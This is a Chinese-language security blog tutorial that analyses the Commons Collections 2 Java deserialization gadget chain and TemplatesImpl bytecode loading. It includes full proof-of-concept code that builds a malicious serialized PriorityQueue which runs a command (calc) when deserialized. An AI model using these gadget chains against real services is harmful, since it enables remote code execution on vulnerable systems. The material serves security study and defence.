CC2反序列化链与TemplatesImpl命令执行链分析

2024-10-11 15 0

一 简介

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

不同于CC1的链条,CC2依赖于4.0版本的commons-collections,并且在最终命令执行方式上发生了很大的变化。

可以先看一下,这是CC1的反序列化链条,最终执行命令还是调用了InvokerTransformer.transform()

AnnotationInvocationHandler.readObject()-->
 AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
  TransformedMap.checkSetValue()-->
   ChainedTransformer.transform()-->
    InvokerTransformer.transform()
     Method.invoke("Runtime.exec","calc")

而对于CC2所利用的是TemplatesImpl的加载字节码方式,以下是这条链

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
      TransformingComparator.compare()
         InvokerTransformer.transform()
            method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()

二 前置知识

1 JAVAssist

JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。(在agent内存马加载时就使用此方式)

基础使用(需要添加到lib中)

CC2反序列化链与TemplatesImpl命令执行链分析插图

public class test {
        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
                ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索)
                CtClass clazz = pool.get(test.class.getName());//将test类放入hashtable并返回CtClass对象
                String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
                clazz.makeClassInitializer().insertBefore(cmd);
                clazz.makeClassInitializer().insertAfter(cmd);

                String Name = "aaa";
                clazz.setName(Name);//设置类名
                clazz.writeFile("./a.class");//写入文件
        }
}

运行结果:

CC2反序列化链与TemplatesImpl命令执行链分析插图1

2 加载字节码

java原本的加载字节码的方式有两个

  • ClassLoader类可以用来加载类文件,然后使用Class对象的newInstance()方法来创建实例并执行
  • URLClassLoader是ClassLoader的子类,它从指定的URL加载类文件
  • Instrumentation API: 如果需要在运行时修改字节码,可以使用Java代理和Instrumentation API

下面的代码使用这样的方式即可实例化被javassit修改后的test类并且执行其中的static块中的方法

public class test {
        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException {
                ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索)
                CtClass clazz = pool.get(test.class.getName());//将test类放入hashtable并返回CtClass对象
                String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
                clazz.makeClassInitializer().insertBefore(cmd);
                clazz.makeClassInitializer().insertAfter(cmd);

                byte[] classBytes = clazz.toBytecode();
                new U(test.class.getClassLoader()).g(classBytes).newInstance();
        }
}

class U extends ClassLoader{
        U(ClassLoader c){//构造方法的ClassLoader类型参数
                super(c);
        }
        public Class g(byte []b){
                return super.defineClass(b,0,b.length);//加载字节码
        }
}

CC2反序列化链与TemplatesImpl命令执行链分析插图2

三 TemplatesImpl命令执行

上面的加载字节码方式达到命令执行的效果,现在可以看一下templatesimpl这个类,在这个类中,defineTransletClasses方法通过new TransletClassLoader创建了classloader实例,然后遍历循环加载了_bytecodes字节码,并且存到_class中。

CC2反序列化链与TemplatesImpl命令执行链分析插图3

然后在下面的getTransletClasses实例化了_bytecodes中的class类,那么我们只有反射控制_bytecodes就可以达到代码执行的效果

CC2反序列化链与TemplatesImpl命令执行链分析插图4

在defineTransletClasses时需要两个参数,一个是ObjectFactory.findClassLoader(),另一个_tfactory.getExternalExtensionsMap(),ObjectFactory不用管,应为findClassLoader会返回一个context对象,

而_tfactory默认为null,所以反射调用时需要new 一个TransformerFactoryImpl传递进去

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

CC2反序列化链与TemplatesImpl命令执行链分析插图5

并且当调用getTransletInstance时_name不能为空,所以还需要传一个_name,下面还有个_transletIndex参数,这个参数默认是-1,显然这样是不行的

CC2反序列化链与TemplatesImpl命令执行链分析插图6

但是在defineTransletClasses遍历字节码时还有一步操作,当superClass.getName() 等于 ABSTRACT_TRANSLET 给 _transletIndex 赋值,就是我们加载字节码的类必须继承自 AbstractTranslet

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
     _transletIndex = i;
}

CC2反序列化链与TemplatesImpl命令执行链分析插图7

CC2反序列化链与TemplatesImpl命令执行链分析插图8

现在就可以完成一个基础的POC了

TestTemplatesImpl类:

public class TestTemplatesImpl extends AbstractTranslet {
        static {
                try {
                        Runtime.getRuntime().exec("calc");
                } catch (IOException e) {
                        e.printStackTrace();
                }
        }
        public TestTemplatesImpl() {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }
}

test类:

public class test {

        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
                ClassPool pool = ClassPool.getDefault();
                CtClass clazz = pool.getCtClass("com.agent.TestTemplatesImpl");

                byte[] classBytes = clazz.toBytecode();

                TemplatesImpl templates = new TemplatesImpl();
                Class<? extends TemplatesImpl> templatesClass = templates.getClass();
                Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
                bytecodes.setAccessible(true);
                bytecodes.set(templates, new byte[][] {classBytes});

                Field name = TemplatesImpl.class.getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates, "Test");

                Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
                tfactory.setAccessible(true);
                tfactory.set(templates, new TransformerFactoryImpl());

                Method getTransletInstanceMethod = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
                getTransletInstanceMethod.setAccessible(true);
                getTransletInstanceMethod.invoke(templates);
        }

}

其实当然可以继续向下寻找其他更好的触发方法,并且通过javassist完成恶意类

这里可以参考TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)

并且最终POC:

public class test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException { ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器 classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中 CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象 testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器 ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句 byte[] classBytes = testCtClass.toBytecode(); // 获取字节数据 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Method getOutputPropertiesMethod = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); getOutputPropertiesMethod.setAccessible(true); getOutputPropertiesMethod.invoke(templates); } }

CC2反序列化链与TemplatesImpl命令执行链分析插图9

还有一个小点,TestTemplatesImpl中的newTransformer中也调用了getTransletInstance,这在接下来的CC2反序列链中发挥作用。

CC2反序列化链与TemplatesImpl命令执行链分析插图10

四 CC2反序列链

回到CC2的分析

分析

首先导入依赖

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
</dependency>

这里在贴一下cc2的链条,其实后半部分就是我们上面的加载字节码方式进行的代码执行,而InvokerTransformer.transform()与CC1中相同,通过InvokerTransformer来实现类的调用。

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
      TransformingComparator.compare()
         InvokerTransformer.transform()
            method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()

反序列的入口当然是readObject,现在看一下PriorityQueue的readObject执行了什么

CC2反序列化链与TemplatesImpl命令执行链分析插图11

这里将传入的ObjectInputStream流中的对象反序列出来并且存到queue数组中,之后调用了heapify()方法

for (int i = 0; i < size; i++)
queue[i] = s.readObject();

CC2反序列化链与TemplatesImpl命令执行链分析插图12

继续向下查看siftDown方法

CC2反序列化链与TemplatesImpl命令执行链分析插图13

而在siftDownUsingComparator中可以看到comoarator.compare方法,所以其实最终readObject调用到了compare方法,而comoarator是从构造方法进行赋值,可控,现在尝试寻址某个类的compare中可以调用到transform方法,最终进行命令执行

CC2反序列化链与TemplatesImpl命令执行链分析插图14

现在有两个链条(大佬的图)

CC2反序列化链与TemplatesImpl命令执行链分析插图15

CC2反序列化链与TemplatesImpl命令执行链分析插图16

想要的是命令执行或者代码执行,需要一个关键类需要将两条链进行连接

TransformingComparator,我们看一下这个类的compare

CC2反序列化链与TemplatesImpl命令执行链分析插图17

这个方法调用了transform函数

  • PriorityQueue的readObject可以调用构造方法参数中的比较器参数的compare方法
  • TransformingComparator比较器可以利用compare方法以及其构造参数transformer调用任意对象的任意方法

这里的size必须大于0,我们通过add进行添加

CC2反序列化链与TemplatesImpl命令执行链分析插图18

POC1:

public class test1 {
        public static void main(String[] args) {
                ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
                });
                TransformingComparator transformingComparator = new TransformingComparator(chainedtransformer);
                PriorityQueue<Object> queue = new PriorityQueue<>(1, transformingComparator);
                queue.add(1);
                queue.add(chainedtransformer);
        }
}

调用链

CC2反序列化链与TemplatesImpl命令执行链分析插图19

接下来通过引入TemplatesImpl来执行自己构造的类

POC2:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test3 {
        public static void main(String[] args) throws Exception {
                ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
                classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
                CtClass testCtClass = classPool.makeClass("test");   // 创建CtClass对象
                testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
                CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
                ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
                byte[] classBytes = testCtClass.toBytecode();    // 获取字节数据

                TemplatesImpl templates = new TemplatesImpl();
                Class<? extends TemplatesImpl> templatesClass = templates.getClass();
                Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
                bytecodes.setAccessible(true);
                bytecodes.set(templates, new byte[][] {classBytes});

                Field name = TemplatesImpl.class.getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates, "Test");

                Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
                tfactory.setAccessible(true);
                tfactory.set(templates, new TransformerFactoryImpl());

                InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

                TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
                PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);

                setFieldValue(priorityQueue, "size", 2);

                Object[] objects = {templates, 2};
                setFieldValue(priorityQueue, "queue", objects);

                try{
                        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
                        outputStream.writeObject(priorityQueue);
                        outputStream.close();

                        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
                        inputStream.readObject();
                }catch(Exception e){
                        e.printStackTrace();
                }
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
                final Field field = getField(obj.getClass(), fieldName);
                field.set(obj, value);
        }
        public static Field getField(final Class<?> clazz, final String fieldName) {
                Field field = null;
                try {
                        field = clazz.getDeclaredField(fieldName);
                        field.setAccessible(true);
                }
                catch (NoSuchFieldException ex) {
                        if (clazz.getSuperclass() != null)
                                field = getField(clazz.getSuperclass(), fieldName);
                }
                return field;
        }
}

五 问题点分析

1 quene其实是被transient 关键字修饰的,怎么还可以实现序列化

CC2反序列化链与TemplatesImpl命令执行链分析插图20

其实这里通过wirite方法把queue中的元素写入了序列化字符串中,从而实现的反序列化

CC2反序列化链与TemplatesImpl命令执行链分析插图21

六 参考文章

ysoserial CommonsCollections2 详细分析-安全客 - 安全资讯平台 (anquanke.com)

Java反序列化-CommonsCollections2利用链分析 - seizer-zyx - 博客园 (cnblogs.com)


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

网络安全新纪元:如何利用AI和机器学习重新定义网络安全的未来
巧用开源PeteReport-Zh生成渗透测试报告
Damn-Vulnerable-Drone:一款针对无人机安全研究与分析的靶机工具
网络⼯具中的瑞⼠军⼑——NC
Betterscan:一款多功能代码安全编排与审计工具
指针分析与Java反序列化利用链挖掘实践(一)

发布评论